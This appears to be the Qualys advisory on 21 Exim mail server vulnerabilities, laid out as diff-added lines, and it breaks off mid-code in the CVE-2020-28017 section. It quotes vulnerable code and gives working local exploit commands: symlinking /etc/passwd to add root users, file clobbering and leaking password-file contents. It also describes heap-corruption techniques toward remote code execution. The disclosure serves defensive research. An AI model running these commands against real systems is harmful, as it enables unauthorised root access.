+
+Qualys Security Advisory
+
+21Nails: Multiple vulnerabilities in Exim
+
+
+========================================================================
+Contents
+========================================================================
+
+Summary
+Local vulnerabilities
+- CVE-2020-28007: Link attack in Exim's log directory
+- CVE-2020-28008: Assorted attacks in Exim's spool directory
+- CVE-2020-28014: Arbitrary file creation and clobbering
+- CVE-2021-27216: Arbitrary file deletion
+- CVE-2020-28011: Heap buffer overflow in queue_run()
+- CVE-2020-28010: Heap out-of-bounds write in main()
+- CVE-2020-28013: Heap buffer overflow in parse_fix_phrase()
+- CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase()
+- CVE-2020-28015: New-line injection into spool header file (local)
+- CVE-2020-28012: Missing close-on-exec flag for privileged pipe
+- CVE-2020-28009: Integer overflow in get_stdinput()
+Remote vulnerabilities
+- CVE-2020-28017: Integer overflow in receive_add_recipient()
+- CVE-2020-28020: Integer overflow in receive_msg()
+- CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()
+- CVE-2020-28021: New-line injection into spool header file (remote)
+- CVE-2020-28022: Heap out-of-bounds read and write in extract_option()
+- CVE-2020-28026: Line truncation and injection in spool_read_header()
+- CVE-2020-28019: Failure to reset function pointer after BDAT error
+- CVE-2020-28024: Heap buffer underflow in smtp_ungetc()
+- CVE-2020-28018: Use-after-free in tls-openssl.c
+- CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()
+Acknowledgments
+Timeline
+
+
+========================================================================
+Summary
+========================================================================
+
+We recently audited central parts of the Exim mail server
+(https://en.wikipedia.org/wiki/Exim) and discovered 21 vulnerabilities
+(from CVE-2020-28007 to CVE-2020-28026, plus CVE-2021-27216): 11 local
+vulnerabilities, and 10 remote vulnerabilities. Unless otherwise noted,
+all versions of Exim are affected since at least the beginning of its
+Git history, in 2004.
+
+We have not tried to exploit all of these vulnerabilities, but we
+successfully exploited 4 LPEs (Local Privilege Escalations) and 3 RCEs
+(Remote Code Executions):
+
+- CVE-2020-28007 (LPE, from user "exim" to root);
+
+- CVE-2020-28008 (LPE, from user "exim" to root);
+
+- CVE-2020-28015 (LPE, from any user to root);
+
+- CVE-2020-28012 (LPE, from any user to root, if allow_filter is true);
+
+- CVE-2020-28020 (unauthenticated RCE as "exim", in Exim < 4.92);
+
+- CVE-2020-28018 (unauthenticated RCE as "exim", in 4.90 <= Exim < 4.94,
+ if TLS encryption is provided by OpenSSL);
+
+- CVE-2020-28021 (authenticated RCE, as root);
+
+- CVE-2020-28017 is also exploitable (unauthenticated RCE as "exim"),
+ but requires more than 25GB of memory in the default configuration.
+
+We will not publish our exploits for now; instead, we encourage other
+security researchers to write and publish their own exploits:
+
+- This advisory contains sufficient information to develop reliable
+ exploits for these vulnerabilities; in fact, we believe that better
+ exploitation methods exist.
+
+- We hope that more security researchers will look into Exim's code and
+ report their findings; indeed, we discovered several of these
+ vulnerabilities while working on our exploits.
+
+- We will answer (to the best of our abilities) any questions regarding
+ these vulnerabilities and exploits on the public "oss-security" list
+ (https://oss-security.openwall.org/wiki/mailing-lists/oss-security).
+
+Last-minute note: as explained in the Timeline, we developed a minimal
+set of patches for these vulnerabilities; for reference and comparison,
+it is attached to this advisory and is also available at
+https://www.qualys.com/research/security-advisories/.
+
+
+
+========================================================================
+CVE-2020-28007: Link attack in Exim's log directory
+========================================================================
+
+The Exim binary is set-user-ID-root, and Exim operates as root in its
+log directory, which belongs to the "exim" user:
+
+------------------------------------------------------------------------
+drwxr-s--- 2 Debian-exim adm 4096 Nov 4 06:16 /var/log/exim4
+------------------------------------------------------------------------
+
+An attacker who obtained the privileges of the "exim" user (by
+exploiting CVE-2020-28020 or CVE-2020-28018 for example) can exploit
+this local vulnerability to obtain full root privileges. Indeed, the
+following code opens a log file in append mode, as root (lines 465-469):
+
+------------------------------------------------------------------------
+ 22 static uschar *log_names[] = { US"main", US"reject", US"panic", US"debug" };
+ ...
+ 382 static void
+ 383 open_log(int *fd, int type, uschar *tag)
+ 384 {
+ ...
+ 387 uschar buffer[LOG_NAME_SIZE];
+ ...
+ 398 ok = string_format(buffer, sizeof(buffer), CS file_path, log_names[type]);
+ ...
+ 465 *fd = Uopen(buffer,
+ 466 #ifdef O_CLOEXEC
+ 467 O_CLOEXEC |
+ 468 #endif
+ 469 O_APPEND|O_WRONLY, LOG_MODE);
+------------------------------------------------------------------------
+
+The name of the log file in buffer is derived from file_path, which is
+derived from log_file_path, a format string defined at compile time (or
+re-defined by the configuration file). On Debian, log_file_path is
+"/var/log/exim4/%slog", and "%s" is converted to "main", "reject",
+"panic", or "debug" at run time (line 398).
+
+An attacker with the privileges of the "exim" user can create a symlink
+(or a hardlink) in the log directory, append arbitrary contents to an
+arbitrary file (to /etc/passwd, for example), and obtain full root
+privileges:
+
+------------------------------------------------------------------------
+id
+uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
+
+cd /var/log/exim4
+ln -s -f /etc/passwd paniclog
+
+/usr/sbin/exim4 -Rr $'X\n_trinity:SCB2INhNOLCrc:0:0::/:\nX['
+
+grep -1 _trinity /etc/passwd
+2021-03-09 09:45:05 regular expression error: missing terminating ] for character class at offset 35 while compiling X
+_trinity:SCB2INhNOLCrc:0:0::/:
+X[
+
+su -l _trinity
+Password: Z1ON0101
+
+id
+uid=0(root) gid=0(root) groups=0(root)
+------------------------------------------------------------------------
+
+
+
+========================================================================
+CVE-2020-28008: Assorted attacks in Exim's spool directory
+========================================================================
+
+Exim also operates as root in its spool directory, which belongs to the
+"exim" user:
+
+------------------------------------------------------------------------
+drwxr-x--- 5 Debian-exim Debian-exim 4096 Nov 4 06:16 /var/spool/exim4
+drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov 4 06:16 /var/spool/exim4/db
+drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov 4 06:16 /var/spool/exim4/input
+drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov 4 06:16 /var/spool/exim4/msglog
+------------------------------------------------------------------------
+
+An attacker who obtained the privileges of the "exim" user can exploit
+this local vulnerability to obtain full root privileges. Various attack
+vectors exist:
+
+- The attacker can directly write to a spool header file (in the "input"
+ subdirectory) and reuse our exploitation technique for CVE-2020-28015.
+
+- The attacker can create a long-named file in the "db" subdirectory and
+ overflow a stack-based buffer (at line 208):
+
+------------------------------------------------------------------------
+ 87 open_db *
+ 88 dbfn_open(uschar *name, int flags, open_db *dbblock, BOOL lof)
+ 89 {
+ ..
+ 94 uschar dirname[256], filename[256];
+...
+111 snprintf(CS dirname, sizeof(dirname), "%s/db", spool_directory);
+112 snprintf(CS filename, sizeof(filename), "%s/%s.lockfile", dirname, name);
+...
+198 uschar *lastname = Ustrrchr(filename, '/') + 1;
+199 int namelen = Ustrlen(name);
+200
+201 *lastname = 0;
+202 dd = opendir(CS filename);
+203
+204 while ((ent = readdir(dd)))
+205 if (Ustrncmp(ent->d_name, name, namelen) == 0)
+206 {
+207 struct stat statbuf;
+208 Ustrcpy(lastname, ent->d_name);
+------------------------------------------------------------------------
+
+ Proof of concept:
+
+------------------------------------------------------------------------
+id
+uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
+
+cd /var/spool/exim4/db
+rm -f retry*
+touch retry`perl -e 'print "A" x (255-5)'`
+
+/usr/sbin/exim4 -odf -oep postmaster < /dev/null
+*** stack smashing detected ***: <unknown> terminated
+2020-11-04 15:34:02 1kaPTm-0000gu-I0 process 2661 crashed with signal 6 while delivering 1kaPTm-0000gu-I0
+------------------------------------------------------------------------
+
+- The attacker can create a symlink (or a hardlink) in the "db"
+ subdirectory and take ownership of an arbitrary file (at line 212):
+
+------------------------------------------------------------------------
+204 while ((ent = readdir(dd)))
+205 if (Ustrncmp(ent->d_name, name, namelen) == 0)
+206 {
+207 struct stat statbuf;
+208 Ustrcpy(lastname, ent->d_name);
+209 if (Ustat(filename, &statbuf) >= 0 && statbuf.st_uid != exim_uid)
+210 {
+211 DEBUG(D_hints_lookup) debug_printf_indent("ensuring %s is owned by exim\n", filename);
+212 if (Uchown(filename, exim_uid, exim_gid))
+------------------------------------------------------------------------
+
+ Exploitation:
+
+------------------------------------------------------------------------
+id
+uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
+
+cd /var/spool/exim4/db
+rm -f retry*
+ln -s -f /etc/passwd retry.passwd
+
+/usr/sbin/exim4 -odf -oep postmaster < /dev/null
+
+ls -l /etc/passwd
+-rw-r--r-- 1 Debian-exim Debian-exim 1580 Nov 4 21:55 /etc/passwd
+
+echo '_francoise:$1$dAuS1HDV$mT0noBeBopmZgLYD5ZiZb1:0:0::/:' >> /etc/passwd
+
+su -l _francoise
+Password: RadicalEdward
+
+id
+uid=0(root) gid=0(root) groups=0(root)
+------------------------------------------------------------------------
+
+Side note: CVE-2020-28007 and CVE-2020-28008 are very similar to
+https://www.halfdog.net/Security/2016/DebianEximSpoolLocalRoot/.
+
+
+
+========================================================================
+CVE-2020-28014: Arbitrary file creation and clobbering
+========================================================================
+
+An attacker who obtained the privileges of the "exim" user can abuse the
+-oP override_pid_file_path option to create (or overwrite) an arbitrary
+file, as root. The attacker does not, however, control the contents of
+this file:
+
+------------------------------------------------------------------------
+id
+uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
+
+/usr/sbin/exim4 -bdf -oX 0 -oP /etc/ld.so.preload &
+[1] 3371
+
+sleep 3
+
+kill -9 "$!"
+[1]+ Killed /usr/sbin/exim4 -bdf -oX 0 -oP /etc/ld.so.preload
+
+ls -l /etc/ld.so.preload
+ERROR: ld.so: object '3371' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
+-rw-r--r-- 1 root Debian-exim 5 Nov 4 20:20 /etc/ld.so.preload
+------------------------------------------------------------------------
+
+The attacker can also combine this vulnerability with CVE-2020-28007 or
+CVE-2020-28008 to create an arbitrary file with arbitrary contents and
+obtain full root privileges.
+
+
+
+========================================================================
+CVE-2021-27216: Arbitrary file deletion
+========================================================================
+
+While working on a patch for CVE-2020-28014, we discovered another
+related vulnerability: any local user can delete any arbitrary file as
+root (for example, /etc/passwd), by abusing the -oP and -oPX options in
+delete_pid_file():
+
+------------------------------------------------------------------------
+ 932 void
+ 933 delete_pid_file(void)
+ 934 {
+ 935 uschar * daemon_pid = string_sprintf("%d\n", (int)getppid());
+ ...
+ 939 if ((f = Ufopen(pid_file_path, "rb")))
+ 940 {
+ 941 if ( fgets(CS big_buffer, big_buffer_size, f)
+ 942 && Ustrcmp(daemon_pid, big_buffer) == 0
+ 943 )
+ 944 if (Uunlink(pid_file_path) == 0)
+------------------------------------------------------------------------
+
+To exploit this vulnerability, a local attacker must win an easy race
+condition between the fopen() at line 939 and the unlink() at line 944;
+this is left as an exercise for the interested reader.
+
+------------------------------------------------------------------------
+History
+------------------------------------------------------------------------
+
+This vulnerability was introduced in Exim 4.94:
+
+------------------------------------------------------------------------
+commit 01446a56c76aa5ac3213a86f8992a2371a8301f3
+Date: Sat Nov 9 16:04:14 2019 +0000
+
+ Remove the daemon pid file when exit is due to SIGTERM. Bug 340
+------------------------------------------------------------------------
+
+
+
+========================================================================
+CVE-2020-28011: Heap buffer overflow in queue_run()
+========================================================================
+
+Through the -R deliver_selectstring and -S deliver_selectstring_sender
+options, the "exim" user can overflow the heap-based big_buffer in
+queue_run() (lines 419 and 423):
+
+------------------------------------------------------------------------
+ 412 p = big_buffer;
+ ...
+ 418 if (deliver_selectstring)
+ 419 p += sprintf(CS p, " -R%s %s", f.deliver_selectstring_regex? "r" : "",
+ 420 deliver_selectstring);
+ 421
+ 422 if (deliver_selectstring_sender)
+ 423 p += sprintf(CS p, " -S%s %s", f.deliver_selectstring_sender_regex? "r" : "",
+ 424 deliver_selectstring_sender);
+------------------------------------------------------------------------
+
+We have not tried to exploit this vulnerability; if exploitable, it
+would allow an attacker who obtained the privileges of the "exim" user
+to obtain full root privileges.
+
+------------------------------------------------------------------------
+Proof of concept
+------------------------------------------------------------------------
+
+id
+uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
+
+/usr/sbin/exim4 -R `perl -e 'print "A" x 128000'`
+malloc(): invalid size (unsorted)
+Aborted
+
+/usr/sbin/exim4 -S `perl -e 'print "A" x 128000'`
+malloc(): invalid size (unsorted)
+Aborted
+
+
+
+========================================================================
+CVE-2020-28010: Heap out-of-bounds write in main()
+========================================================================
+
+For debugging and logging purposes, Exim copies the current working
+directory (initial_cwd) into the heap-based big_buffer:
+
+------------------------------------------------------------------------
+3665 initial_cwd = os_getcwd(NULL, 0);
+....
+3945 uschar *p = big_buffer;
+3946 Ustrcpy(p, "cwd= (failed)");
+....
+3952 Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);
+3953 p += 4 + Ustrlen(initial_cwd);
+....
+3956 *p = '\0';
+------------------------------------------------------------------------
+
+The strncpy() at line 3952 cannot overflow big_buffer, but (on Linux at
+least) initial_cwd can be much longer than big_buffer_size (16KB): line
+3953 can increase p past big_buffer's end, and line 3956 (and beyond)
+can write out of big_buffer's bounds.
+
+We have not tried to exploit this vulnerability; if exploitable, it
+would allow an unprivileged local attacker to obtain full root
+privileges.
+
+------------------------------------------------------------------------
+Proof of concept
+------------------------------------------------------------------------
+
+id
+uid=1001(jane) gid=1001(jane) groups=1001(jane)
+
+perl -e 'use strict;
+my $a = "A" x 255;
+for (my $i = 0; $i < 4096; $i++) {
+mkdir "$a", 0700 or die;
+chdir "$a" or die; }
+exec "/usr/sbin/exim4", "-d+all" or die;'
+...
+23:50:39 5588 changed uid/gid: forcing real = effective
+23:50:39 5588 uid=0 gid=1001 pid=5588
+...
+Segmentation fault
+
+------------------------------------------------------------------------
+History
+------------------------------------------------------------------------
+
+This vulnerability was introduced in Exim 4.92:
+
+------------------------------------------------------------------------
+commit 805fd869d551c36d1d77ab2b292a7008d643ca79
+Date: Sat May 19 12:09:55 2018 -0400
+...
+ Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);
++ p += 4 + Ustrlen(initial_cwd);
++ /* in case p is near the end and we don't provide enough space for
++ * string_format to be willing to write. */
++ *p = '\0';
+
+- while (*p) p++;
+------------------------------------------------------------------------
+
+
+
+========================================================================
+CVE-2020-28013: Heap buffer overflow in parse_fix_phrase()
+========================================================================
+
+If a local attacker executes Exim with a -F '.(' option (for example),
+then parse_fix_phrase() calls strncpy() with a -1 size (which overflows
+the destination buffer, because strncpy(dest, src, n) "writes additional
+null bytes to dest to ensure that a total of n bytes are written").
+
+Indeed, at line 1124 s and ss are both equal to end, at line 1125 ss is
+decremented, and at line 1127 ss-s is equal to -1:
+
+------------------------------------------------------------------------
+1124 {
+1125 if (ss >= end) ss--;
+1126 *t++ = '(';
+1127 Ustrncpy(t, s, ss-s);
+------------------------------------------------------------------------
+
+We have not tried to exploit this vulnerability; if exploitable, it
+would allow an unprivileged local attacker to obtain full root
+privileges.
+
+------------------------------------------------------------------------
+Proof of concept
+------------------------------------------------------------------------
+
+id
+uid=1001(jane) gid=1001(jane) groups=1001(jane)
+
+/usr/sbin/exim4 -bt -F '.('
+Segmentation fault
+
+
+
+========================================================================
+CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase()
+========================================================================
+
+If a local attacker executes Exim with an empty originator_name (-F ''),
+then parse_fix_phrase() allocates a zero-sized buffer (at line 982), but
+writes a null byte to buffer[1] (lines 986 and 1149):
+
+------------------------------------------------------------------------
+4772 originator_name = parse_fix_phrase(originator_name, Ustrlen(originator_name));
+------------------------------------------------------------------------
+ 960 const uschar *
+ 961 parse_fix_phrase(const uschar *phrase, int len)
+ 962 {
+ ...
+ 982 buffer = store_get(len*4, is_tainted(phrase));
+ 983
+ 984 s = phrase;
+ 985 end = s + len;
+ 986 yield = t = buffer + 1;
+ 987
+ 988 while (s < end)
+ 989 {
+....
+1147 }
+1148
+1149 *t = 0;
+------------------------------------------------------------------------
+
+We have not tried to exploit this vulnerability; if exploitable, it
+would allow an unprivileged local attacker to obtain full root
+privileges.
+
+------------------------------------------------------------------------
+History
+------------------------------------------------------------------------
+
+This vulnerability was introduced by:
+
+------------------------------------------------------------------------
+commit 3c90bbcdc7cf73298156f7bcd5f5e750e7814e72
+Date: Thu Jul 9 15:30:55 2020 +0100
+...
++JH/18 Bug 2617: Fix a taint trap in parse_fix_phrase(). Previously when the
++ name being quoted was tainted a trap would be taken. Fix by using
++ dynamicaly created buffers. The routine could have been called by a
++ rewrite with the "h" flag, by using the "-F" command-line option, or
++ by using a "name=" option on a control=submission ACL modifier.
+------------------------------------------------------------------------
+
+
+
+========================================================================
+CVE-2020-28015: New-line injection into spool header file (local)
+========================================================================
+
+When Exim receives a mail, it creates two files in the "input"
+subdirectory of its spool directory: a "data" file, which contains the
+body of the mail, and a "header" file, which contains the headers of the
+mail and important metadata (the sender and the recipient addresses, for
+example). Such a header file consists of lines of text separated by '\n'
+characters.
+
+Unfortunately, an unprivileged local attacker can send a mail to a
+recipient whose address contains '\n' characters, and can therefore
+inject new lines into the spool header file and change Exim's behavior:
+
+------------------------------------------------------------------------
+id
+uid=1001(jane) gid=1001(jane) groups=1001(jane)
+
+/usr/sbin/exim4 -odf -oep $'"Lisbeth\nSalander"' < /dev/null
+
+2020-11-05 09:11:46 1kafzO-0001ho-Tf Format error in spool file 1kafzO-0001ho-Tf-H: size=607
+------------------------------------------------------------------------
+
+The effect of this vulnerability is similar to CVE-2020-8794 in
+OpenSMTPD, but in Exim's case it is not enough to execute arbitrary
+commands. To understand how we transformed this vulnerability into an
+arbitrary command execution, we must digress briefly.
+
+------------------------------------------------------------------------
+Digression
+------------------------------------------------------------------------
+
+Most of the vulnerabilities in this advisory are memory corruptions, and
+despite modern protections such as ASLR, NX, and malloc hardening,
+memory corruptions in Exim are easy to exploit:
+
+1/ Exim's memory allocator (store.c, which calls malloc() and free()
+internally) unintentionally provides attackers with powerful exploit
+primitives. In particular, if an attacker can pass a negative size to
+the allocator (through an integer overflow or direct control), then:
+
+------------------------------------------------------------------------
+119 static void *next_yield[NPOOLS];
+120 static int yield_length[NPOOLS] = { -1, -1, -1, -1, -1, -1 };
+...
+231 void *
+232 store_get_3(int size, BOOL tainted, const char *func, int linenumber)
+233 {
+...
+248 if (size > yield_length[pool])
+249 {
+...
+294 }
+...
+299 store_last_get[pool] = next_yield[pool];
+...
+316 next_yield[pool] = (void *)(CS next_yield[pool] + size);
+317 yield_length[pool] -= size;
+318 return store_last_get[pool];
+319 }
+------------------------------------------------------------------------
+
+1a/ At line 248, store_get() believes that the current block of memory
+is large enough (because size is negative), and goes to line 299. As a
+result, store_get()'s caller can overflow the current block of memory (a
+"forward-overflow").
+
+1b/ At line 317, the free size of the current block of memory
+(yield_length) is mistakenly increased (because size is negative), and
+at line 316, the next pointer returned by store_get() (next_yield) is
+mistakenly decreased (because size is negative). As a result, the next
+memory allocation can overwrite the beginning of Exim's heap: a relative
+write-what-where, which naturally bypasses ASLR (a "backward-jump", or
+"back-jump").
+
+2/ The beginning of the heap contains Exim's configuration, which
+includes various strings that are passed to expand_string() at run time.
+Consequently, an attacker who can "back-jump" can overwrite these
+strings with "${run{...}}" and execute arbitrary commands (thus
+bypassing NX).
+
+The first recorded use of expand_string() in an Exim exploit is
+CVE-2010-4344 (and CVE-2010-4345), an important part of Internet
+folklore:
+
+https://www.openwall.com/lists/oss-security/2010/12/10/1
+
+Note: Exim 4.94 (the latest version) introduces "tainted" memory (i.e.,
+untrusted, possibly attacker-controlled data) and refuses to process it
+in expand_string(). This mechanism protects Exim against unintentional
+expansion of tainted data (CVE-2014-2957 and CVE-2019-10149), but NOT
+against memory corruption: an attacker can simply overwrite untainted
+memory with tainted data, and still execute arbitrary commands in
+expand_string(). For example, we exploited CVE-2020-28015,
+CVE-2020-28012, and CVE-2020-28021 in Exim 4.94.
+
+------------------------------------------------------------------------
+Exploitation
+------------------------------------------------------------------------
+
+CVE-2020-28015 allows us to inject new lines into a spool header file.
+To transform this vulnerability into an arbitrary command execution (as
+root, since deliver_drop_privilege is false by default), we exploit the
+following code in spool_read_header():
+
+------------------------------------------------------------------------
+ 341 int n;
+ ...
+ 910 while ((n = fgetc(fp)) != EOF)
+ 911 {
+ ...
+ 914 int i;
+ 915
+ 916 if (!isdigit(n)) goto SPOOL_FORMAT_ERROR;
+ 917 if(ungetc(n, fp) == EOF || fscanf(fp, "%d%c ", &n, flag) == EOF)
+ 918 goto SPOOL_READ_ERROR;
+ ...
+ 927 h->text = store_get(n+1, TRUE); /* tainted */
+ ...
+ 935 for (i = 0; i < n; i++)
+ 936 {
+ 937 int c = fgetc(fp);
+ ...
+ 940 h->text[i] = c;
+ 941 }
+ 942 h->text[i] = 0;
+------------------------------------------------------------------------
+
+- at line 917, we start a fake header with a negative length n;
+
+- at line 927, we back-jump to the beginning of the heap (Digression
+ 1b), because n is negative;
+
+- at line 935, we avoid the forward-overflow (Digression 1a), because n
+ is negative;
+
+- then, our next fake header is allocated to the beginning of the heap
+ and overwrites Exim's configuration strings (with "${run{command}}");
+
+- last, our arbitrary command is executed when deliver_message()
+ processes our fake (injected) recipient and expands the overwritten
+ configuration strings (Digression 2).
+
+We can also transform CVE-2020-28015 into an information disclosure, by
+exploiting the following code in spool_read_header():
+
+------------------------------------------------------------------------
+ 756 for (recipients_count = 0; recipients_count < rcount; recipients_count++)
+ 757 {
+ ...
+ 765 if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
+ 766 nn = Ustrlen(big_buffer);
+ 767 if (nn < 2) goto SPOOL_FORMAT_ERROR;
+ ...
+ 772 p = big_buffer + nn - 1;
+ 773 *p-- = 0;
+ ...
+ 809 while (isdigit(*p)) p--;
+ ...
+ 840 else if (*p == '#')
+ 841 {
+ 842 int flags;
+ ...
+ 848 (void)sscanf(CS p+1, "%d", &flags);
+ 849
+ 850 if ((flags & 0x01) != 0) /* one_time data exists */
+ 851 {
+ 852 int len;
+ 853 while (isdigit(*(--p)) || *p == ',' || *p == '-');
+ 854 (void)sscanf(CS p+1, "%d,%d", &len, &pno);
+ 855 *p = 0;
+ 856 if (len > 0)
+ 857 {
+ 858 p -= len;
+ 859 errors_to = string_copy_taint(p, TRUE);
+ 860 }
+ 861 }
+ 862
+ 863 *(--p) = 0; /* Terminate address */
+------------------------------------------------------------------------
+
+For example, if we send a mail to the recipient
+'"X@localhost\njane@localhost 8192,-1#1\n\n1024* "' (where jane is our
+username, and localhost is one of Exim's local_domains), then:
+
+- at line 848, we set flags to 1;
+
+- at line 854, we set len to 8KB;
+
+- at line 858, we decrease p (by 8KB) toward the beginning of the heap;
+
+- at line 859, we read the errors_to string out of big_buffer's bounds;
+
+- finally, we receive our mail, which includes the out-of-bounds
+ errors_to string in its "From" and "Return-path:" headers (in this
+ example, errors_to contains a fragment of /etc/passwd):
+
+------------------------------------------------------------------------
+id
+uid=1001(jane) gid=1001(jane) groups=1001(jane)
+
+(
+printf 'Message-Id: X\n';
+printf 'From: X@localhost\n';
+printf 'Date: X\n';
+printf 'X:%01024d2* X\n' 0;
+) | /usr/sbin/exim4 -odf -oep $'"X@localhost\njane@localhost 8192,-1#1\n\n1024* "' jane
+
+cat /var/mail/jane
+From
+sys:x:3:
+adm:x:4:
+...
+Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin
+jane:x:1001:1001:,,,:/home/jane:/bin/bash
+ Thu Nov 05 10:49:07 2020
+Return-path: <
+sys:x:3:
+adm:x:4:
+...
+systemd-timesync:x:102:
+systemd-network:x:103:
+sy>
+...
+------------------------------------------------------------------------
+
+
+
+========================================================================
+CVE-2020-28012: Missing close-on-exec flag for privileged pipe
+========================================================================
+
+Exim supports a special kind of .forward file called "exim filter" (if
+allow_filter is true, the default on Debian). To handle such a filter,
+the privileged Exim process creates an unprivileged process and a pipe
+for communication. The filter process can fork() and execute arbitrary
+commands with expand_string(); this is not a security issue in itself,
+because the filter process is unprivileged. Unfortunately, the writable
+end of the communication pipe is not closed-on-exec and an unprivileged
+local attacker can therefore send arbitrary data to the privileged Exim
+process (which is running as root).
+
+------------------------------------------------------------------------
+Exploitation
+------------------------------------------------------------------------
+
+We exploit this vulnerability through the following code in
+rda_interpret(), which reads our arbitrary data in the privileged Exim
+process:
+
+------------------------------------------------------------------------
+791 fd = pfd[pipe_read];
+792 if (read(fd, filtertype, sizeof(int)) != sizeof(int) ||
+793 read(fd, &yield, sizeof(int)) != sizeof(int) ||
+794 !rda_read_string(fd, error)) goto DISASTER;
+...
+804 if (!rda_read_string(fd, &s)) goto DISASTER;
+...
+956 *error = string_sprintf("internal problem in %s: failure to transfer "
+957 "data from subprocess: status=%04x%s%s%s", rname,
+958 status, readerror,
+959 (*error == NULL)? US"" : US": error=",
+960 (*error == NULL)? US"" : *error);
+961 log_write(0, LOG_MAIN|LOG_PANIC, "%s", *error);
+------------------------------------------------------------------------
+
+where:
+
+------------------------------------------------------------------------
+467 static BOOL
+468 rda_read_string(int fd, uschar **sp)
+469 {
+470 int len;
+471
+472 if (read(fd, &len, sizeof(int)) != sizeof(int)) return FALSE;
+...
+479 if (read(fd, *sp = store_get(len, FALSE), len) != len) return FALSE;
+480 return TRUE;
+481 }
+------------------------------------------------------------------------
+
+- at line 794, we allocate an arbitrary string (of arbitrary length),
+ error;
+
+- at line 804 (and line 479), we back-jump to the beginning of the heap
+ (Digression 1b) and avoid the forward-overflow (Digression 1a) because
+ our len is negative;
+
+- at line 956, we overwrite the beginning of the heap with a string that
+ we control (error); we tried to overwrite Exim's configuration strings
+ (Digression 2) but failed to execute arbitrary commands; instead, we
+ overwrite file_path, a copy of log_file_path (mentioned in
+ CVE-2020-28007);
+
+- at line 961, we append an arbitrary string that we control (error) to
+ a file whose name we control (file_path): we add an arbitrary user to
+ /etc/passwd and obtain full root privileges.
+
+This first version of our exploit succeeds on Debian oldstable's
+exim4_4.89-2+deb9u7 (it fails on Debian stable's exim4_4.92-8+deb10u4
+because of a gstring_reset_unused() in string_sprintf(); we have not
+tried to work around this problem), but it fails on Debian testing's
+exim4_4.94-8: the pool of memory that we back-jump at line 804 is
+untainted, but the string at line 956 is tainted and written to a
+different pool of memory (because our primary recipient, and hence
+rname, are tainted).
+
+To work around this problem, our "exim filter" generates a secondary
+recipient that is naturally untainted (line 479). When this secondary
+recipient is processed, the string at line 956 is untainted and thus
+overwrites the beginning of the heap (because it is allocated in the
+untainted pool of memory that we back-jumped at line 804): this second
+version of our exploit also succeeds on Debian testing.
+
+Finally, we use one noteworthy trick in our exploit: in theory, the
+string that overwrites file_path at line 956 cannot be longer than 256
+bytes (LOG_NAME_SIZE); this significantly slows our brute-force of the
+correct back-jump distance. In practice, we can overwrite file_path with
+a much longer string (up to 8KB, LOG_BUFFER_SIZE) because file_path is a
+format string, and "%0Lu" (or "%.0D") is a NOP in Exim's string_format()
+function: it consumes no argument and produces no output, thus avoiding
+the overflow of buffer[LOG_NAME_SIZE] in open_log().
+
+
+
+========================================================================
+CVE-2020-28009: Integer overflow in get_stdinput()
+========================================================================
+
+The following loop reads lines from stdin as long as the last character
+of the lines is '\\' (line 1273). Each line that is read is appended to
+a "growable string", the gstring g (at line 1266):
+
+------------------------------------------------------------------------
+1229 gstring * g = NULL;
+....
+1233 for (i = 0;; i++)
+1234 {
+1235 uschar buffer[1024];
+....
+1252 if (Ufgets(buffer, sizeof(buffer), stdin) == NULL) break;
+1253 p = buffer;
+....
+1258 ss = p + (int)Ustrlen(p);
+....
+1266 g = string_catn(g, p, ss - p);
+....
+1273 if (ss == p || g->s[g->ptr-1] != '\\')
+1274 break;
+------------------------------------------------------------------------
+
+Eventually, the integer g->size of the growable string overflows, and
+becomes negative (in gstring_grow(), which is called by string_catn()).
+Consequently, in store_newblock() (which is called by gstring_grow()),
+newsize is negative:
+
+------------------------------------------------------------------------
+506 void *
+507 store_newblock_3(void * block, int newsize, int len,
+508 const char * filename, int linenumber)
+509 {
+510 BOOL release_ok = store_last_get[store_pool] == block;
+511 uschar * newtext = store_get(newsize);
+512
+513 memcpy(newtext, block, len);
+514 if (release_ok) store_release_3(block, filename, linenumber);
+515 return (void *)newtext;
+516 }
+------------------------------------------------------------------------
+
+- the store_get() at line 511 back-jumps the current block of memory
+ (Digression 1b);
+
+- the memcpy() at line 513 forward-overflows the current block of memory
+ (Digression 1a).
+
+If exploitable, this vulnerability would allow an unprivileged local
+attacker to obtain full root privileges. We have not tried to exploit
+this vulnerability, because it took more than 5 days to overflow the
+integer g->size. Indeed, the loop in get_stdinput() has an O(n^2) time
+complexity: for each line that is read, store_newblock() allocates a new
+block of memory (at line 511) and recopies the entire contents of the
+growable string (at line 513).
+
+------------------------------------------------------------------------
+Proof of concept
+------------------------------------------------------------------------
+
+id
+uid=1001(jane) gid=1001(jane) groups=1001(jane)
+
+(
+for ((i=0; i<4096; i++)); do
+echo "`date` $i" >&2;
+perl -e 'print "\\" x 1048576';
+done
+) | /usr/sbin/exim4 -bt | wc
+
+Program received signal SIGSEGV, Segmentation fault.
+
+
+
+========================================================================
+CVE-2020-28017: Integer overflow in receive_add_recipient()
+========================================================================
+
+By default, Exim does not limit the number of recipients (the number of
+valid RCPT TO commands) for a mail. But after 52428800 (50M) recipients,
+the multiplication at line 492 overflows, and the size that is passed to
+store_get() becomes negative (2*50M * 40B = -96MB):
+
+------------------------------------------------------------------------
+ 484 void
+ 485 receive_add_recipient(uschar *recipient, int pno)
+ 486 {
+ 487 if (recipients_count >= recipients_list_max)
+ 488 {
+ 489 recipient_item *oldlist = recipients_list;
+ 490 int oldmax = recipients_list_max;
+ 491 recipients_list_max = recipients_list_max ? 2*recipients_list_max : 50;
+ 492 recipients_list = store_get(recipients_list_max * sizeof(recipient_item));
+ 493 if (oldlist != NULL)
